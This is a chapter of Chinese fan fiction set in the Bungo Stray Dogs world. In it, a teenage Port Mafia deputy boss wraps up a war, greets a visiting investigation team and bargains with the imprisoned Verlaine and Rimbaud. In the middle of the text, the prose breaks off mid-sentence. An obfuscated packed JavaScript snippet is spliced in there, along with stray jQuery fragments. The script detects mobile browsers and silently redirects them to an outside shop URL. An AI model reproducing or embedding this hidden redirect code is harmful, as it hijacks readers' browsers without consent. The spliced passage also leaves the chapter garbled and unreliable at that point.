26.后记

作品:《我的爸爸在哪里

    战争结束了。


    如此声势浩大,同时也悄无声息。


    这件事涉及到许多机密,又与英国和法国颇有渊源,所以自然也引起了某些人的注意。比如军方的异能犯-罪对策科,算是港口Mafia的天敌。又比如官方的异能特务科,驳回了港-黑异能许可证的申请,以至于我们目前处于非法组织的状态。


    “不过这都不是什么大问题。”办公室内,森鸥外语气轻松地说道,“比起这个,我更想知道你恢复的怎么样了,雪奈?”


    “还好吧,相对来说。”我瘫在沙发上,有气无力地回答,“比起肉-体,我的精神受到了更大的损伤......虽然已经有心理准备了,但看到中也那个样子还是吓了一跳。”我翻过身,语速快了起来,“怎么会有那么痛苦的异能呢?”


    “所以才会有太宰君的存在啊。”森鸥外双手交叉,露出好奇的神情,“不过我听太宰说抑制中也君的暴走是你做的?”


    “啊......呃,算是吧。”我挠挠头。


    这么说不算太准确,我只是偶然间冒出了一个想法。既然可以控制时间,那能不能让中也回到使用【污浊】前呢?


    事实证明我的想法没错,就是应用起来很麻烦。


    不过有太宰这个bug一般的存在,那些困扰都不翼而飞了。


    我理了理思绪,说道,“我的异能发生了进化。”


    森鸥外挑眉,“......进化?”


    “是的。”我点头,“我现在可以小幅度地调整时间状态。”


    “......”过了一段时间,对方才慢慢接受了这个消息,他手指轻点下巴,像是发自内心地对此感到苦恼,“时间系的异能吗,既然这样我就要调整一下你的定位了啊......”


    ......不会吧?难道要把我从副首领这个位置上踢下去吗?!


    “我才十六岁就要面临被炒鱿鱼的人生打击吗?”我欲哭无泪,“果然男人没一个好东西!尤其是位高权重的男人!”


    “你最近的状态不妙啊,怎么脑子里都是这些奇奇怪怪的东西?”森鸥外沉默了片刻,俨然一副老父亲担心自家女儿的口吻道,“后面那句话有什么出处吗?”


    “啊,这个是我从红叶姐经常订购的杂志上面看到的!这个系列不仅销量最多而且价格十分近人!”我迅速换上一副高兴的表情,“需要帮您订几分吗?”


    “......不用了,谢谢。我们还是来继续讨论上一个问题吧。”


    “哈!你觉得还有人能担任副首领这个职位吗?唯一的人选只有我!”


    “态度都强硬起来了呢......希望你对敌人也会这样。”


    “一直都是。”我抬头,对上那双紫色眼眸,愣神片刻。


    森鸥外看起来心情很好,给我一种话里有话的感觉。


    “恭喜你,雪奈。”他递过来一份文件,对我说道,“从今以后,你不用再做那些无聊的外交工作了。带着一支独属于你的小队到最前线去。”


    他顿了一下,嘴角勾起一抹笑意,“至于这个小队叫什么名字——交给你这个副首领来定。”


    ****


    横滨,客船港口。


    我拔下摩托车钥匙,抛向上空又稳稳接住。


    其实我的年龄还不符合驾驶它的标准,但这不是重点。重要的是今天是个特殊的日子。


    旗会常去的那间球吧需要重建,新买的球桌暂时用不上,所以我改了运输方式,从空运换成了船运,让它在海上飘了半个月。


    飘到正好球桌到的那天,刚好是球吧重建好的那一天。


    ——也就是今天。


    不过巧的是,今天也是白濑离开日本和【组合】来访的日子。


    我把胳膊搭在椅背上,整个人懒洋洋地靠过去。皮椅被太阳晒得发烫,隔着衣服也能感受到那股暖意。


    心情颇好。


    天气也不错。


    恰巧白濑离开,恰巧【组合】来访,恰巧球吧建好,恰巧球桌到达。


    我哼着歌,看向远方。


    恰巧凑够四个恰巧。


    就是巧合太多了,希望不要出现什么意外。


    海浪就在不远处,还有那艘巨大的客船,最高处的烟囱吐着白烟,一缕一缕的,但很快就被吹散了。从船舷上的黑色缆绳,再到看不清里面的船窗,只要稍微下移视线,就能看见栈桥尽头的两个人影。


    是白濑和中也。两个少年正在滔滔不绝地说着什么,声音不高,就像是被海浪和风声揉碎了一样,听不清具体内容。


    然后,响起了沉闷的汽笛声。


    白濑抬眼,视线越过中也的肩膀,朝这里看过来。


    不出意外的话他应该是看见我了。我没躲,也没出声,就是在他看过来的一瞬间,飞快地眨了下眼。


    对方愣住了,嘴角动了动,像是忍住了什么。


    但那些都与我无关了,我仰起头,闭上眼睛,一片暖红,开始聆听风声。


    除了风声,还有海鸟,叫声远远的,听不真切。


    直到汽笛声再次响起。


    “......雪奈。”


    暖红变暗,又变红,再变暗。中也挥动着手掌,声音里是藏不住的惊奇,“你怎么在这里?”


    我睁眼。


    “取货?”赭发少年狐疑地向下看去。


    “是啊,就在不远处的货船那里。”我拍拍摩托车的座椅,笑着地问道,“怎么样,很不错吧?”


    “成色确实不错。”中也细细打量着,抬眼问道,“只是......副首领还没到法定年龄吧?”


    “哇,中也,你自己不也没成年吗?”我皱眉,瞥了对方一眼,补充道,“再说这是给信天翁的,那辆车的钥匙不是找不到了吗......”


    也就是在此刻,我鬼使神差地看向码头。


    流线型的摩托车冰冷地沉默着。(1)


    ......欸?


    “对了,中也,你今天怎么来的?”


    “呃......我能拒绝这个回答问题吗?”


    “......信天翁这个混蛋!”


    我一直不明白【组合】此次来访的目的是什么,按理来说这件事对他们并没有社么影响,反而不费吹灰之力得到了官方的认可。


    不明白,但很好奇,于是我问了森鸥外。


    “目的吗......”男人露出故作苦恼的表情,沉思片刻,随后右拳往左掌心一锤,眼睛发亮,“可能是为了建立良好的合作关系吧!毕竟我们之前也去拜访过他们!”


    “......你有病吧?”


    “雪奈你刚刚说了相当失礼的话吧?淑女不可以这么说话哦。”森鸥外笑了起来,紧接着加了一句,“既然你这么好奇的话,就去码头看看吧。”


    这也就是我出现在这里的原因......之一。毕竟我前面就说过了,今天是个特殊的日子。


    但太宰对我的出现很意外。他穿着正式的黑西装,头发俐落地梳起,脸上缠着绷带。


    “呀吼,小枝!你也来接待调查团吗?”


    “不。”我坚定地摇头,“我是不会给自己增加工作量的,这个任务还是交给你和中也吧。”


    中也转头,“那你在这里干什么?”


    “当然是——”


    纯白色的豪华客船抵达码头,调查团走了下来。


    然后,在黑压压的警卫和雾蒙蒙的高官之间,我瞥见了一抹熟悉的身影。


    “啊——玛丽!”


    不过之后发生的事情证明了凡事恰巧必会出现意外。


    就在此刻,玛丽拖着巨大的行李箱,站在一堆老者和保镖的中间时,我这么想到。


    ......我早该想到的啊!


    森鸥外那种性格的家伙怎么会好心满足我的好奇心呢!


    “哎呀,在这里看见我很意外吧?”金发少女一边拽着行李箱一边说道,“无需惊讶,毕竟我是天才中的天才。”


    中也忍不住问道,“什么意思?”


    “博士指的是在【组合】潜伏着的那些日子。”旁边的老人摸着自己的白胡子,爽朗地笑着。


    “真是让人意外啊。”我抽了抽嘴角,突然想到了什么说道,“不过相比之下,麦尔维尔先生才是那个最意外的人吧?”


    “他早就猜到啦。”玛丽终于走下了最后一节台阶,扶着行李箱。


    “虽然我们已经很熟了,但我还是要正式介绍一下自己。下午好,我是沃斯通克拉夫特博士,英国政府独立调查官的技术顾问负责人。”她伸出手,露出胸前数十枚功绩者勋章,“很高兴与你们见面,黑-手-党。”


    今天的天气真是好得过头了。


    我回握住对方的手,视线落在她胸前。


    那些看着就价值不菲的金属徽章,正在闪闪发光。


    调差团来得快,走得也快。在进行了长达一个月的全面搜查后,玛丽他们便头也不回地离开了日本。


    毫无留恋,干脆得曾一度让我怀疑还有什么不可见人的阴谋。


    而搜查的目的只有一个,那就是判断魏尔伦是否已经死亡。


    结果无可厚非。


    魏尔伦已经死了,连同【圣杯】一起。


    当然,这是对他们来说。


    ****


    港口Mafia,地下防空室——


    通过几道严密的检查后,我推开大门。


    很少有人踏足这里,也很少有人知道这里的存在。这里关押的都是那些凶神恶煞的罪人,亦或是对组织有极高风险的威胁者。


    不久前,防空室迎来了一位新朋友。


    也就是魏尔伦。


    没错,【圣杯】没有消失,魏尔伦也没有死,就连他体内的兰波也依旧存活。两个紧密相连的灵魂维持着这具肉-体的生命,在防空洞里安静地生活着。


    我不知道魏尔伦是怎么活下来的,或许是【圣杯】保住了他的人格,或许是兰波保住了他的生命。总之,现在的结果就是他现在还能悠闲地坐在藤椅上,漫不经心地看看书,写写诗,动动嘴皮子和兰波聊天。


    或许是这些并不能让二者满足,过了两个月,在首领宣告直属于副首领的独立小队正式成立的这一天,魏尔伦发出了谈话请求。


    这也是我出现在这里的原因。


    经过最后一道检查,我来到了关押着魏尔伦的房间前。


    一片安静,监视器里并没有什么异常。阳光无法抵达这里,所以屋内打着足够亮的灯。


    我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254417|196262||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    进去的时候,魏尔伦正在和兰波聊着什么。


    当然,是通过自言自语的方式。


    “副首领来了。”


    这个彬彬有礼的语气,是兰波在向我打招呼。


    “上午好,兰波。”我随便拽了张椅子坐下,盯着对方的眼睛问道,“找我来有何事?”


    “哈,没事不能找你吗?天天只能和这家伙说话,我都要无聊死了。”语调发生变化,字里行间还透漏出几分不好惹,我便知道这是换人了。


    于是我架起手臂,好心提醒道,“那我可走了,我还有更重要的事情呢。”


    “是什么?”兰波问道。


    “一定跟森鸥外脱不了干系!”魏尔伦气汹汹地抢回主导权,“雪奈你这家伙该不会是个父控吧?”


    “我走了。”


    “......回来!”


    在兰波诚挚地道歉后,我再次坐了回去。


    “其实我们叫你来是为了组织的事。”


    这倒是勾起了我的好奇心,我开口问道,“是什么?”


    “我们想培养后辈。”魏尔伦吊儿郎当地坐在那里,翘起二郎腿,“虽然我的重力异能失去了大半,但暗杀技术还在。我可以将它们全权教给黑-手-党的精英们,让他们成为暗杀之王。”


    我若有所思,“然后让他们变成你这个样子吗?”


    “......你是不是找打?”


    “哇,怎么一言不合就要揍人!和中也那家伙一样!”


    可能是我的后半句让对方感受到了安慰,魏尔伦没有动手,反而整个人陷入了一种诡异的自豪状态。


    “......你这个样子明明就是弟控吧!”


    “什么——我才不是!还是你更父控一点!”


    “胡说!”


    “我没有!你给小队起【影击队】这个名字不就在暗示你将成为首领的影子吗?”


    “......艹!你是我肚子里的蛔虫吗?!”


    “好啦好啦......你们两个不要再吵啦......”兰波立刻夺回了身体的主导权,心平气和地开始劝架。


    “我才不会和没品的大人计较。”我收起脾气,对自己产生了怀疑,“......难道我真的是个父控?”


    兰波信心满满地问道,“你想听我的回答吗?”


    “不想。”


    “哦。”


    气氛有一瞬间的尴尬,就在此时,魏尔伦回来了。他没有再和我争论,反而关心起了中也的境况。


    “他最近很好。”我撑着脸说道,“用不了多久,他和太宰就会成为干部了吧。”


    魏尔伦突然降低了声音,“那那个人呢?”


    我有些莫名,“谁?”


    “就是,就是旗会那个,和中也关系很好的。”


    “啊,你说钢琴家吗?”我笑了起来,语气轻松,“他已经成为干部啦。说起来,我还真期待中也和太宰成为干部的那天啊,这样组织的干部制度就更完善了。你为什么会担心这个?”


    许是并没有得到想要的回答,魏尔伦不再拐弯抹角了,而是直截了当地问起了医生的状况。


    我这才想起来,医生才是那个差点死在暗杀之王手里的人。


    “还活着。”我语气有些复杂,客观地说道,“能喝能睡能跑能跳的,前两天还偷喝了中也一瓶法国红酒。”


    “这样啊。”魏尔伦松了一口气,整个人都放松了下来。


    “对了,这钱你报销吗?”


    “行吧,一共多少?”


    我掏掏兜,递过去一张购物清单。


    魏尔伦细细查看起来。


    过了一会,对方的表情越来越僵硬。


    又过了一会,房间内响起了一个充满低气压的怒吼声。


    “喂!你这家伙!把我当冤大头吗!为什么除了红酒还有这么多东西?”


    我眨眼,一脸无辜,“这些都是医生采购的啊。”


    “球桌球杆沙发游戏机我就不说什么了,这几套化妆品和小裙子是怎么回事?”


    “呃......可能这是医生的爱好呢?”


    “我是傻子吗?”


    “算是吧。”


    “......”


    我觉得这个地方不能再呆下去了。


    这样下去的话我和魏尔伦迟早要噶一个,我可能是被打死,而他可能是被气死。


    我选择溜之大吉。


    “钱就打到这个账户上吧,你放心我会和中也平分的。”我飞速念出一串卡号,说道,“啊对了,还有你们那个提议我同意了。”


    魏尔伦没有说话,反而是兰波对我道了谢。


    ****


    就这样,给黑-手-党带来死亡阴影的【暗杀王事件】,彻底拉下了帷幕。


    而谁也没想到,魏尔伦和兰波的提议竟在不知不觉间,改变了港口Mafia的命运轨迹。


    因为就在这不久,横滨迎来了□□历史上最糟糕的八十八天。当其他组织在混战中一个接一个被抹去名字、当雨水混着血水流进下水道时,港口Mafia却以一种谁也没有预料到的方式,成为了横滨的黑夜。


    而那场改变了所有组织命运的混战,我们将其称为——


    【龙头战争】。